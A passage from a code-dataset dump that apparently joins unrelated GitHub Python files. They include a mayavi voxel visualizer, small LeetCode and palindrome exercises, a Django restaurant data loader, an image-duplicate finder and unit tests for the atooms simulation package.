os\r\nimport glob\r\nimport argparse\r\n\r\n# import moviepy.editor as mpy\r\nfrom pyface.api import GUI\r\nfrom mayavi import mlab\r\n\r\nRESO = 64\r\nCutOff = 192\r\nmapping = np.array([\r\n [1, 2, 15, 16, 17, 20, 21, 22],\r\n [4, 3, 14, 13, 18, 19, 24, 23],\r\n [5, 8, 9, 12, 31, 30, 25, 26],\r\n [6, 7, 10, 11, 32, 29, 28, 27],\r\n [59, 58, 55, 54, 33, 36, 37, 38],\r\n [60, 57, 56, 53, 34, 35, 40, 39],\r\n [61, 62, 51, 52, 47, 46, 41, 42],\r\n [64, 63, 50, 49, 48, 45, 44, 43],\r\n ])\r\n\r\n\r\ndef flatten(data):\r\n furniture = np.zeros((RESO, RESO, RESO), dtype=bool)\r\n colors = np.zeros((RESO, RESO, RESO, 3))\r\n\r\n for i in range(8):\r\n for j in range(8):\r\n z_num = (7 - i) * 8 + (7 - j)\r\n for a in range(64):\r\n for b in range(64):\r\n if np.all(data[i * 64 + a][j * 64 + b] < CutOff):\r\n furniture[a][b][z_num] = True\r\n # temp = data[i * 64 + a][j * 64 + b] * 2\r\n # if np.any(temp > 255):\r\n # colors[a][b][z_num] = [255, 255, 255]\r\n # else:\r\n # colors[a][b][z_num] = temp\r\n colors[a][b][z_num] = [0, 0, 0]\r\n\r\n return furniture, colors\r\n\r\n\r\ndef hilbert(data):\r\n furniture = np.zeros((RESO, RESO, RESO), dtype=bool)\r\n colors = np.zeros((RESO, RESO, RESO, 3))\r\n\r\n for i in range(8):\r\n for j in range(8):\r\n num = 64 - mapping[i][j]\r\n for a in range(64):\r\n for b in range(64):\r\n if np.all(data[i * 64 + a][j * 64 + b] < CutOff):\r\n furniture[a][b][num] = True\r\n temp = data[i * 64 + a][j * 64 + b] * 2\r\n if np.any(temp > 255):\r\n colors[a][b][num] = [255, 255, 255]\r\n else:\r\n colors[a][b][num] = temp\r\n\r\n return furniture, colors\r\n\r\n\r\ndef professor(data):\r\n furniture = np.zeros((RESO, RESO, RESO), dtype=bool)\r\n colors = np.zeros((RESO, RESO, RESO, 3))\r\n\r\n for i in range(8):\r\n for j in range(8):\r\n for a in range(64):\r\n for b in range(64):\r\n x_pos = 63 - a\r\n y_pos = 63 - b\r\n z_pos = (7 - i) * 8 + (7 - j)\r\n\r\n x_pixel = data[(x_pos // 8) * 64 + b][(x_pos - 8 * (x_pos // 8)) * 64 + z_pos]\r\n y_pixel = data[511 + (y_pos // 8) * 64 + a][(y_pos - 8 * (y_pos // 8)) * 64 + z_pos]\r\n z_pixel = data[i * 64 + a][(j + 8) * 64 + b]\r\n result = np.array([np.all(x_pixel < CutOff), np.all(y_pixel < CutOff), np.all(z_pixel < CutOff)])\r\n\r\n if np.any(result):\r\n furniture[a][b][z_pos] = True\r\n colors[a][b][z_pos] = (x_pixel + y_pixel + z_pixel) / 255\r\n\r\n return furniture, colors\r\n\r\n\r\ndef hilbert_professor(data):\r\n furniture = np.zeros((RESO, RESO, RESO), dtype=bool)\r\n colors = np.zeros((RESO, RESO, RESO, 3))\r\n\r\n for i in range(8):\r\n for j in range(8):\r\n for a in range(64):\r\n for b in range(64):\r\n x_pos = 64 - a\r\n xofx, yofx = np.where(mapping == x_pos)\r\n y_pos = 64 - b\r\n xofy, yofy = np.where(mapping == y_pos)\r\n z_pos = 64 - mapping[i][j]\r\n\r\n x_pixel = data[xofx[0] * 64 + b][yofx[0] * 64 + z_pos]\r\n y_pixel = data[511 + (xofy[0] * 64) + a][(yofy[0] * 64) + z_pos]\r\n z_pixel = data[i * 64 + a][(j + 8) * 64 + b]\r\n result = np.array([np.all(x_pixel < CutOff), np.all(y_pixel < CutOff), np.all(z_pixel < CutOff)])\r\n\r\n if np.any(result):\r\n furniture[a][b][z_pos] = True\r\n colors[a][b][z_pos] = (x_pixel + y_pixel + z_pixel) / 255\r\n\r\n return furniture, colors\r\n\r\n\r\ndef make_frame(t):\r\n \"\"\" Generates and returns the frame for time t. \"\"\"\r\n duration = 6 # duration of the animation in seconds\r\n mlab.view(azimuth=360 * t / duration) # camera angle\r\n\r\n return mlab.screenshot(antialiased=True) # return a RGB image\r\n\r\n\r\ndef visualize(args):\r\n file_list = glob.glob('voxel_result/*.png')\r\n # file_location = 'first'\r\n # total_location = 'ViewINPUT_folder/' + file_location\r\n # file_list = glob.glob(total_location + '/*.png')\r\n\r\n for file in file_list:\r\n img = Image.open(file)\r\n basename = os.path.basename(file)\r\n basename = os.path.splitext(basename)[0]\r\n data = np.array(img)\r\n print(basename)\r\n\r\n furniture, colors = method_dict[args.mode](data)\r\n\r\n # reshape_png = []\r\n # print(reshape_png)\r\n # colors = np.rot90(colors, 2, (0,1))\r\n\r\n fig = mlab.figure(1, size=(650, 690))\r\n xx, yy, zz = np.where(furniture == 1)\r\n s = np.arange(len(xx))\r\n lut = np.zeros((len(xx), 4))\r\n for row in s:\r\n temp = np.append((colors[xx[row]][yy[row]][zz[row]]) + 48, 255)\r\n lut[row, :] = temp\r\n currfig = mlab.points3d(xx, yy, zz, s,\r\n scale_mode='none',\r\n mode=\"cube\",\r\n scale_factor=1)\r\n currfig.module_manager.scalar_lut_manager.lut.number_of_colors = len(s)\r\n currfig.module_manager.scalar_lut_manager.lut.table = lut\r\n\r\n mlab.view(azimuth=225, elevation=70, distance=140, focalpoint=(RESO/2, RESO/2, RESO/2))\r\n fig.scene.camera.parallel_projection = True\r\n fig.scene.camera.parallel_scale = 65 # smaller the number, greater zoom\r\n mlab.axes(figure=fig, nb_labels=5, extent=(0, RESO, 0, RESO, 0, RESO))\r\n mlab.outline(extent=(0, RESO, 0, RESO, 0, RESO))\r\n\r\n #\r\n # GIF SECTION\r\n #\r\n # output = 'ViewResult/' + basename + '_out.gif'\r\n # animation = mpy.VideoClip(make_frame, duration=duration).resize(0.5)\r\n # animation.write_gif(output, fps=25)\r\n\r\n GUI().process_events()\r\n imgmap_RGB = mlab.screenshot(figure=fig, mode='rgb', antialiased=True)\r\n img_RGB = np.uint8(imgmap_RGB)\r\n img_RGB = Image.fromarray(img_RGB)\r\n\r\n #\r\n # SAVING SECTION\r\n #\r\n output = 'ViewResult/' + basename + '_3D.png'\r\n if not os.path.exists('ViewResult'):\r\n os.makedirs('ViewResult')\r\n img_RGB.save(output)\r\n # if not os.path.exists('ViewResult_folder_slice/' + file_location):\r\n # os.makedirs('ViewResult_folder_slice/' + file_location)\r\n # img_RGB.save('ViewResult_folder_slice/' + file_location + '/' + basename)\r\n\r\n mlab.clf()\r\n\r\n\r\nmethod_dict = {\r\n \"slice\": flatten,\r\n \"hilbert\": hilbert,\r\n \"professor\": professor,\r\n \"hilbert_and_professor\": hilbert_professor\r\n}\r\n\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument('mode', type=str, choices=[\"slice\", \"hilbert\", \"professor\", \"hilbert_and_professor\"],\r\n help='enter \\'slice\\'/ \\'hilbert\\' \\'professor\\' \\'hilbert_and_professor\\'')\r\n args = parser.parse_args()\r\n visualize(args)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"utwnglam/gan-data-generate","sub_path":"visualizer_slice.py","file_name":"visualizer_slice.py","file_ext":"py","file_size_in_byte":7423,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"28819560431","text":"userinp = input(\"Enter input:\")\r\n\r\nif type(userinp) == int:\r\n\ttemp = userinp\r\n\trev = 0\r\n\twhile(userinp>0):\r\n\t\tdig=userinp%10\r\n\t\trev=(rev*10)+dig\r\n\t\tuserinp=userinp/10\r\n\tif(temp == rev):\r\n\t\tprint(\"The number is palindrome!\")\r\n\telse:\r\n\t\tprint(\"The number is not palindrome!!\")\r\nelse:\r\n\tif userinp == userinp[::-1]:\r\n\t\tprint(\"The string is palindrome!\")\r\n\telse:\r\n\t\tprint(\"The string is not a palindrome!\")\r\n\t\t\r\nprint(\"Thank you:)\")\r\n","repo_name":"MonishaChitral/Palindrome","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"42262332331","text":"# -*- coding:utf-8 -*-\n# @Time:2020/6/19 12:08\n# @Author:TimVan\n# @File:13. Roman to Integer.py\n# @Software:PyCharm\n\n# Roman numerals are represented by seven different symbols: I, V, X, L, C, D and M.\n#\n# Symbol Value\n# I 1\n# V 5\n# X 10\n# L 50\n# C 100\n# D 500\n# M 1000\n# For example, two is written as II in Roman numeral, just two one's added together.\n# Twelve is written as, XII, which is simply X + II.\n# The number twenty seven is written as XXVII, which is XX + V + II.\n#\n# Roman numerals are usually written largest to smallest from left to right.\n# However, the numeral for four is not IIII. Instead, the number four is written as IV.\n# Because the one is before the five we subtract it making four.\n# The same principle applies to the number nine, which is written as IX.\n# There are six instances where subtraction is used:\n#\n# I can be placed before V (5) and X (10) to make 4 and 9. \n# X can be placed before L (50) and C (100) to make 40 and 90. \n# C can be placed before D (500) and M (1000) to make 400 and 900.\n\nclass Solution:\n\n def romanToInt(self, s: str) -> int:\n s = s.replace('IV', 'a')\n s = s.replace('IX', 'b')\n s = s.replace('XL', 'c')\n s = s.replace('XC', 'd')\n s = s.replace('CD', 'e')\n s = s.replace('CM', 'f')\n result = 0\n for ch in range(len(s)):\n currentChar = s[ch]\n # print(currentChar)\n result += self.getValue(currentChar)\n return result\n\n def getValue(self, ch: str) -> int:\n if ch == 'I':\n return 1\n elif ch == 'V':\n return 5\n elif ch == 'X':\n return 10\n elif ch == 'L':\n return 50\n elif ch == 'C':\n return 100\n elif ch == 'D':\n return 500\n elif ch == 'M':\n return 1000\n elif ch == 'a':\n return 4\n elif ch == 'b':\n return 9\n elif ch == 'c':\n return 40\n elif ch == 'd':\n return 90\n elif ch == 'e':\n return 400\n elif ch == 'f':\n return 900\n\n\nsolution = Solution()\nmyStr = ['III', 'IV', 'IX', 'LVIII', 'MCMXCIV', 'DCXXI']\nfor single in myStr:\n print(solution.romanToInt(single))\n","repo_name":"TimVan1596/ACM-ICPC","sub_path":"python/course/leetcode/1~27/13. Roman to Integer_0416.py","file_name":"13. Roman to Integer_0416.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"16090773572","text":"import os\nfrom unittest import TestCase\n\nfrom runcommands.collection import Collection\nfrom runcommands.command import command\nfrom runcommands.run import run\nfrom runcommands.runner import CommandRunner\n\n\nCONFIG_FILE = os.path.join(os.path.dirname(__file__), \"commands.toml\")\n\n\n@command\ndef test(a, b, c, d=None):\n return a, b, c, d\n\n\nclass TestConfig(TestCase):\n def setUp(self):\n self.collection = Collection({\"test\": test})\n\n def read_config_file(self, config_file=CONFIG_FILE):\n return run.read_config_file(config_file, self.collection)\n\n def interpolate(self, config):\n globals_, default_args, environ = run.interpolate(\n config.get(\"globals\") or {},\n config.get(\"args\") or {},\n config.get(\"environ\") or {},\n )\n return {\n \"globals\": globals_,\n \"args\": default_args,\n \"environ\": environ,\n }\n\n def test_read_config(self):\n config = self.read_config_file()\n self.assertIn(\"globals\", config)\n self.assertIn(\"args\", config)\n self.assertIn(\"environ\", config)\n self.assertIn(\"env\", config[\"globals\"])\n self.assertEqual(\"test\", config[\"globals\"][\"env\"])\n\n def test_read_config_and_interpolate(self):\n config = self.read_config_file()\n config = self.interpolate(config)\n self.assertEqual(\n {\"env\": \"test\", \"a\": \"b\", \"b\": \"b\", \"d\": \"d\"}, config[\"globals\"]\n )\n self.assertEqual({\"test\": {\"a\": \"b\", \"b\": \"b\", \"d\": \"x\"}}, config[\"args\"])\n self.assertEqual({\"XXX\": \"b\", \"XYZ\": \"b\"}, config[\"environ\"])\n\n def test_read_config_then_call_command(self):\n config = self.read_config_file()\n config = self.interpolate(config)\n runner = CommandRunner(self.collection)\n self.collection.set_default_args(config[\"args\"])\n\n # Uses default args\n result = runner.run([\"test\", \"c\"])[0]\n self.assertEqual((\"b\", \"b\", \"c\", \"x\"), result)\n\n # Uses some default args\n result = runner.run([\"test\", \"--a\", \"a\", \"c\"])[0]\n self.assertEqual((\"a\", \"b\", \"c\", \"x\"), result)\n\n # Uses no default args\n result = runner.run([\"test\", \"--a\", \"x\", \"--b\", \"y\", \"c\", \"-d\", \"z\"])[0]\n self.assertEqual((\"x\", \"y\", \"c\", \"z\"), result)\n","repo_name":"wylee/runcommands","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"13132540296","text":"from random import randint\n\ndef main(vetor, x = 0, maior = 0):\n # enquanto o meu x não é igual ao vetor no quesito de quantidade\n if x == len(vetor):\n return maior\n else:\n num_atual = vetor[x]\n if num_atual > maior:\n maior = num_atual\n return main(vetor, x + 1, maior)\n\nvetor = [randint(1, 100) for _ in range(10)]\nmaior_valor = main(vetor)\nprint(f\"Vetor gerado: {vetor}\")\nprint(f\"\\nMaior valor gerado foi {maior_valor}.\")","repo_name":"alvessml/FUNDAMENTOS-DA-PROGRAMA--O-EM-PYTHON","sub_path":"EXERCÍCIOS EM PTYHON/4.3 GERAR VETOR E SABER O MAIOR VALOR COM FUNÇÃO RECURSIVA.py","file_name":"4.3 GERAR VETOR E SABER O MAIOR VALOR COM FUNÇÃO RECURSIVA.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40777541097","text":"from ATM.models import *\n\nimport json\nimport django\ndjango.setup()\n\n\npref_dict = {}\ntotal_count_dict = {}\n\nmax_pref_value = 5.0\n\ndebug_sum = 0\ndebug_max = 0\ndebug_min = 0\ndebug_count = 0\ndebug_10 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\n\nwith open('./ATM/embedding/word_to_pref.json', \"r\", encoding=\"utf-8\") as json_file:\n pref_dict = json.load(json_file)\n\nwith open('./ATM/embedding/word_to_frequency.json', \"r\", encoding=\"utf-8\") as json_file:\n total_count_dict = json.load(json_file)\n\ntotal_count = 0\nfor word in total_count_dict.keys():\n total_count += total_count_dict[word]\n\nwith open('./crawling/restaurants.json') as json_file:\n restaurants = json.load(json_file)\n for i, restaurant in enumerate(restaurants):\n location = Location(\n address_name=restaurant['location']['address_name'],\n x=restaurant['location']['x'],\n y=restaurant['location']['y'],\n )\n location.save()\n new_restaurant = Restaurant(\n id=restaurant['Id'],\n name=restaurant['name'],\n location=location,\n avg_rating=restaurant['avgRating'],\n menu=restaurant['menu'],\n openTime=restaurant['openTime'],\n kakao_link=restaurant['kakaoLink'],\n naver_link=restaurant['naverLink'],\n thumbnail=restaurant['thumbNail'],\n map_link=restaurant['mapLink'],\n search_string=restaurant['searchString'],\n food_category=restaurant['foodCategory']\n )\n new_restaurant.save()\n\n\nno_res = 0\nwith open('./crawling/reviews_tokenized.json', \"r\", encoding=\"utf-8\") as json_file:\n keywords = json.load(json_file)\n for res in keywords:\n try:\n new_res = Restaurant.objects.get(id=res['Id'])\n except BaseException:\n no_res += 1\n continue\n\n key_weight_dict = res['weighed']\n for_pref_vec = {}\n our_key_total = 0\n for key, freq in key_weight_dict.items():\n if key not in pref_dict:\n continue\n our_key_total += freq\n if pref_dict[key] not in for_pref_vec:\n for_pref_vec[pref_dict[key]] = freq\n else:\n for_pref_vec[pref_dict[key]] += freq\n\n key_weight_sorted = sorted(key_weight_dict.items(), reverse=True,\n key=lambda item: item[1])\n if len(key_weight_sorted) > 30:\n key_weight_sorted = key_weight_sorted[:30]\n new_res.keyword = {item[0]: item[1] for item in key_weight_sorted}\n pref = PreferenceVector()\n for key in for_pref_vec.keys():\n pref_value = for_pref_vec[key] / our_key_total * total_count / \\\n total_count_dict[key]\n debug_count += 1\n if pref_value > debug_max:\n debug_max = pref_value\n if pref_value < debug_min:\n debug_min = pref_value\n debug_10[int(pref_value / 10)] += 1\n debug_sum += pref_value\n\n # 0~10 is only used. This is 90% of total data\n pref_value /= 2\n if pref_value > max_pref_value:\n pref_value = max_pref_value\n pref[key] = pref_value\n pref.save()\n new_res.preference_vector = pref\n new_res.save()\n\nprint('keyword id not matched: ', no_res)\nprint('mean: ', debug_sum / debug_count, 'max: ', debug_max,\n 'min: ', debug_min)\nfor i in range(len(debug_10)):\n print(i, debug_10[i])\n\n\n\"\"\"\nwith open(\"./ATM/embedding/word_to_frequency.json\",\"w\") as json_file:\n json.dump(total_count_dict, json_file, ensure_ascii=False, indent=\"\\t\")\nwith open(\"./ATM/embedding/word_to_maxcount.json\",\"w\") as json_file:\n json.dump(max_count_dict, json_file, ensure_ascii=False, indent=\"\\t\")\nprint('total',total_count_dict)\nprint('max',max_count_dict)\n\"\"\"\n","repo_name":"swsnu/swpp2020-team5","sub_path":"backend/data_getting/get_restaurants.py","file_name":"get_restaurants.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"71817563923","text":"from typing import List\n\n\nclass Solution:\n def majorityElement(self, nums: List[int]) -> List[int]:\n counter_map = {}\n res_list = set()\n for n in nums:\n if n in counter_map:\n counter_map[n] += 1\n else:\n counter_map[n] = 1\n if counter_map[n] > (len(nums) / 3) and n not in res_list:\n res_list.add(n)\n\n return list(res_list)\n\n\nif __name__ == '__main__':\n s = Solution()\n assert s.majorityElement([1, 2]) == [1, 2]\n\n assert s.majorityElement([3, 2, 3]) == [3]\n\n assert s.majorityElement([1]) == [1]\n\n","repo_name":"Olim2508/leetcode","sub_path":"leetcode/majority_element_ii/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24984884662","text":"#!/usr/bin/env python3\nimport hashlib\nimport os\nimport sys\n\nSTART_PATH = \".\"\nif len(sys.argv) > 1:\n START_PATH = sys.argv[1]\nEXTENSIONS = [\"png\", \"jpg\", \"jpeg\", \"bmp\"]\nEXISTING_HASHES = set()\nHASH_TO_PATH = dict()\n\n\ndef crawl(path: str) -> list:\n duplicates = []\n for rel_path, dirs, files in os.walk(path):\n for f in files:\n if f[f.find(\".\") + 1:] in EXTENSIONS:\n full_path = os.path.join(rel_path, f)\n print(full_path)\n file = open(full_path, \"rb\")\n hash = hashlib.md5(file.read()).hexdigest()\n file.close()\n if hash in EXISTING_HASHES:\n existing = HASH_TO_PATH[hash]\n if existing != full_path:\n duplicates.append((full_path, existing))\n else:\n EXISTING_HASHES.add(hash)\n HASH_TO_PATH[hash] = full_path\n return duplicates\n\n\nduplicates = crawl(START_PATH)\n\nif len(duplicates) == 0:\n print(\"No duplicates found\")\n\nfor case in duplicates:\n print(\"\\\"\" + case[0] + \"\\\"\", \"is a duplicate of\", \"\\\"\" + case[1] + \"\\\"\")\n","repo_name":"NuclearPanda/ImgDuplicate","sub_path":"duplicates.py","file_name":"duplicates.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"45158378258","text":"from abs import proba\nfrom abs import modifProba\nfrom abs import condition\n\nclass Declencheur:\n \"\"\"\n Classe gérant le déclenchement d'événement particulier via leurs conditions et probas,\n calculs en fonction des caracs de la situation actuelle\n \"\"\"\n\n def __init__(self, aproba, labelGoTo):\n \"\"\"\n aproba peut être une proba complète déclarée ou juste un float dans ce cas il sera convertie en proba déclarée dans ce constructeur\n \"\"\"\n self.conditions_ = []\n if isinstance(aproba, proba.Proba):\n self.proba_ = aproba\n else:\n # la proba est un simple nombre flottant (sans modif de proba)\n self.proba_ = proba.Proba(aproba)\n self.labelGoTo_ = labelGoTo\n\n def calculerProba(self, situation):\n for condition in self.conditions_:\n resTest = condition.tester(situation)\n if not resTest:\n return 0. # si une des conditions n'est pas vérifiée alors la proba est égale à 0\n pass\n\n return self.proba_.calculer(situation)\n\n def executer(self):\n return self.labelGoTo_\n\n def AjouterCondition(self, condition):\n self.conditions_.append(condition)\n","repo_name":"gabriellevy/destinPhilippeAuguste","sub_path":"game/abs/declencheur.py","file_name":"declencheur.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16418837903","text":"#!/usr/bin/env python\n\nimport unittest\nimport logging\nimport numpy\nfrom atooms.simulation import Simulation, Scheduler, write_thermo, write_config, target_rmsd, write, store\nfrom atooms.system import System\nfrom atooms.trajectory import TrajectoryXYZ\nfrom atooms.backends.dryrun import DryRun\nfrom atooms.core.utils import setup_logging, rmd\n\n\nsetup_logging(level=40)\n\nclass Test(unittest.TestCase):\n\n def setUp(self):\n setup_logging(level=40, update=True)\n\n def test_no_output(self):\n # Disable writers completely\n s = Simulation(DryRun(), output_path=None, steps=10, enable_speedometer=False)\n s.run()\n\n def test_multiple_run_calls(self):\n \"\"\"\n Multiple calls to run() with varying number of steps should add up\n correctly. This was not the case in version <= 1.4.3.\n \"\"\"\n # Minimal backend\n class Backend(object):\n\n def __init__(self):\n self.system = System()\n\n def run(self, steps):\n for i in range(steps):\n pass\n\n backend = Backend()\n\n # The run_until() method should work correctly\n from atooms.simulation import Simulation\n simulation = Simulation(backend)\n simulation.run(10)\n simulation.run_until(30)\n self.assertEqual(simulation.current_step, 30)\n\n # The run() method called twice should also work correctly\n from atooms.simulation import Simulation\n simulation = Simulation(backend)\n simulation.run(10)\n simulation.run(20)\n self.assertEqual(simulation.current_step, 30)\n\n def test_target(self):\n s = Simulation(DryRun(), output_path='/tmp/test_simulation/trajectory', steps=100)\n s.run()\n\n def test_target_restart(self):\n f = '/tmp/test_simulation/restart/trajectory'\n s = Simulation(DryRun(), output_path=f)\n s.add(write_thermo, Scheduler(20))\n s.run(100)\n data = numpy.loadtxt(f + '.thermo', unpack=True)\n self.assertEqual(int(data[0][-1]), 100)\n\n s = Simulation(DryRun(), output_path=f, restart=True)\n s.add(write_thermo, Scheduler(20))\n s.run(200)\n data = numpy.loadtxt(f + '.thermo', unpack=True)\n self.assertEqual(int(data[0][-1]), 200)\n\n def test_config(self):\n f = '/tmp/test_simulation/config/trajectory.xyz'\n\n bck = DryRun(System(N=1))\n bck.timestep = 0.1\n\n # Accessing list elements attributes works\n s = Simulation(bck, output_path=f, enable_speedometer=False, steps=100)\n s.add(write, Scheduler(20), ['system.particle[0].position'], 'output')\n s.run()\n\n # Test generic writer and write_config\n setup_logging(level=40, update=True)\n s = Simulation(bck, output_path=f, enable_speedometer=True, steps=100)\n s.trajectory_class = TrajectoryXYZ\n s.add(write_config, Scheduler(20))\n s.add(write, Scheduler(20), ['current_step', 'system.cell'], 'output')\n s.run()\n import os\n self.assertTrue(os.path.exists(f))\n self.assertTrue(os.path.exists(f + '.output'))\n with TrajectoryXYZ(f) as th:\n self.assertAlmostEqual(th.timestep, bck.timestep)\n\n def test_target_rmsd(self):\n f = '/tmp/test_simulation/config/trajectory'\n with self.assertRaises(IndexError):\n s = Simulation(DryRun(), output_path=f, steps=100)\n s.add(target_rmsd, Scheduler(20))\n s.run()\n s = Simulation(DryRun(), output_path=f, steps=100)\n s.add(target_rmsd, Scheduler(20), 1.0)\n s.run()\n\n def test_target_walltime(self):\n \"\"\"Check that walltime targeting works.\"\"\"\n from atooms.simulation.observers import target_walltime\n f = '/tmp/test_simulation/config/trajectory'\n s = Simulation(DryRun(), output_path=f, steps=1000000000)\n s.add(target_walltime, Scheduler(20), 1.)\n s.run()\n self.assertTrue(s.wall_time() > 1.)\n\n def test_target_restart_fake(self):\n f = '/tmp/test_simulation/restart/trajectory'\n s = Simulation(DryRun(), output_path=f)\n #s.add(WriterThermo(), Scheduler(20))\n s.add(write_thermo, Scheduler(20))\n s.run(100)\n s.run(100)\n data = numpy.loadtxt(f + '.thermo', unpack=True)\n self.assertEqual(int(data[0][-1]), 200)\n\n def test_scheduler(self):\n class Simulation:\n def __init__(self):\n self.current_step = 0\n s = Scheduler(3)\n sim = Simulation()\n inext = []\n for i in range(8):\n sim.current_step = i\n inext.append(s(sim))\n\n self.assertEqual(inext, [3, 3, 3, 6, 6, 6, 9, 9])\n\n def test_block(self):\n \"\"\"Test periodic block scheduling\"\"\"\n def store_list(s, db):\n db.append(s.current_step)\n db = []\n s = Simulation(DryRun(), output_path=None, steps=18)\n s.add(store_list, Scheduler(block=[1, 2, 4, 8]), db=db)\n s.run()\n self.assertEqual(db, [0, 1, 2, 4, 8, 9, 10, 12, 16, 17, 18])\n\n def test_steps(self):\n \"\"\"Test steps scheduling\"\"\"\n def store_list(s, db):\n db.append(s.current_step)\n db = []\n s = Simulation(DryRun(), output_path=None, steps=18)\n s.add(store_list, Scheduler(steps=[1, 2, 4, 8]), db=db)\n s.run()\n self.assertEqual(db, [0, 1, 2, 4, 8])\n\n def test_store(self):\n \"\"\"Test store\"\"\"\n db = {}\n s = Simulation(DryRun())\n s.add(store, 1, [(\"steps\", lambda sim: sim.current_step)], db)\n s.run(5)\n self.assertEqual(db[\"steps\"], list(range(6)))\n\n # Store in simulation data\n s = Simulation(DryRun())\n s.add(store, 1, [(\"steps\", lambda sim: sim.current_step)])\n s.run(5)\n self.assertEqual(s.data[\"steps\"], list(range(6)))\n\n s = Simulation(DryRun(System(N=1)))\n s.add(store, 1, ['steps', ('x_1', lambda sim: sim.system.particle[0].position[0])])\n s.run(5)\n self.assertAlmostEqual(numpy.mean(s.data[\"x_1\"]), 0.0)\n\n def test_system(self):\n \"\"\"\n Test that system in Simulation tracks the one in the backend even\n when the latter is reassigned.\n \"\"\"\n s = Simulation(DryRun(), output_path=None, steps=10)\n s.run()\n s.backend.system = None\n self.assertTrue(s.system is s.backend.system)\n\n def test_composite(self):\n \"\"\"\n Test that composite simulation instances (a simulation within a\n simulation object) run independent of their parent instance.\n\n This checks that there are no regression against the bug fixed\n in 63a7e7863.\n \"\"\"\n class NewSimulation(Simulation):\n\n def __init__(self, sim, steps=0, output_path=None, restart=False):\n Simulation.__init__(self, DryRun(), output_path=output_path,\n steps=steps, restart=restart)\n self.sim = sim\n\n def __str__(self):\n return 'NewSimulation'\n\n def run_until(self, steps):\n self.sim.run()\n self.current_step = steps\n\n sim = Simulation(DryRun(), steps=3)\n new_sim = NewSimulation(sim, steps=1)\n new_sim.run()\n self.assertEqual(new_sim.current_step, 1)\n self.assertEqual(sim.current_step, 3)\n\n def test_shell_stop(self):\n from atooms.simulation import shell_stop\n f = '/tmp/test_simulation/shell/trajectory'\n s = Simulation(DryRun(), output_path=f)\n s.add(shell_stop, Scheduler(steps=[20]), 'exit 1')\n s.add(write_thermo, Scheduler(10))\n s.run(100)\n self.assertEqual(s.current_step, 20)\n\n s = Simulation(DryRun(), output_path=f)\n s.add(shell_stop, Scheduler(20), 'exit 0')\n s.add(write_thermo, Scheduler(10))\n s.run(100)\n self.assertEqual(s.current_step, 100)\n\n # Test formatted string\n s = Simulation(DryRun(), output_path=f)\n s.add(shell_stop, Scheduler(20), '[ {sim.current_step} -eq 40 ] && exit 1 || exit 0')\n s.run(100)\n self.assertEqual(s.current_step, 40)\n\n def test_python_stop(self):\n from atooms.simulation import target_python_stop\n f = '/tmp/test_simulation/python/trajectory'\n s = Simulation(DryRun(), output_path=f)\n s.add(target_python_stop, Scheduler(20), '{current_step} == 40')\n s.add(write_thermo, Scheduler(10))\n s.run(100)\n self.assertEqual(s.current_step, 40)\n\n def test_multiple_observers(self):\n \"\"\"We can add multiple observers of the same kind\"\"\"\n from atooms.core.utils import mkdir\n from atooms.trajectory import TrajectoryXYZ, TrajectoryRam\n from atooms.simulation import write_trajectory\n mkdir('/tmp/test_simulation')\n th0 = TrajectoryRam()\n th1 = TrajectoryXYZ('/tmp/test_simulation/trajectory.xyz', 'w')\n s = Simulation(DryRun())\n s.add(write_trajectory, Scheduler(1), trajectory=th0)\n s.add(write_trajectory, Scheduler(1), trajectory=th1)\n s.run(100)\n th0.close()\n th1.close()\n self.assertEqual(s.current_step, 100)\n\n def test_progress(self):\n import sys\n import os\n import atooms.core\n realstdout = sys.stdout\n fh = open(os.devnull, 'w')\n sys.stdout = fh\n atooms.core.progress.active = True\n s = Simulation(DryRun())\n s.run(100)\n s = Simulation(DryRun())\n s.add(lambda sim: sim, 50)\n s.run(100)\n atooms.core.progress.active = False\n sys.stdout = realstdout\n\n def tearDown(self):\n rmd('/tmp/test_simulation')\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"atooms-mirror/atooms","sub_path":"tests/test_simulation.py","file_name":"test_simulation.py","file_ext":"py","file_size_in_byte":9789,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"24818903750","text":"#!/user/bin/python\n################################## File manilupation ##########################\n## Go to the directory containing all DEG files\nimport os\nimport glob\nimport pandas\nimport re\nimport numpy\nimport xlrd\n\ndef numericalSort(FOI): # obtains the VS number for each file\n numbers = re.findall(r\"\\d+\", FOI)\n return int(numbers[1])\n \ndef getData(folder,letter,data): # folder = 'up_regulate' or 'down_regulate'; letter = 0:A, 1:B, 2:C, 3:D; data = dataOfDataStucturesNames\n output = []\n for i in range(0,len(data[folder])):\n tempData = data[folder][i][letter]\n output.append(tempData)\n return output\n\ndef subtractGenes(A,B): # A-B\n return set(A)-set(B)\n\ndef intersectGenes(A,B): # AnB\n return numpy.intersect1d(A,B)\n\n\ndef createExcelFile(currentDirectory,fileName): # creates excel file to manipulate\n newFileName = currentDirectory + \"/\" + fileName\n outputFile = pandas.ExcelWriter(newFileName, engine='xlsxwriter')\n return 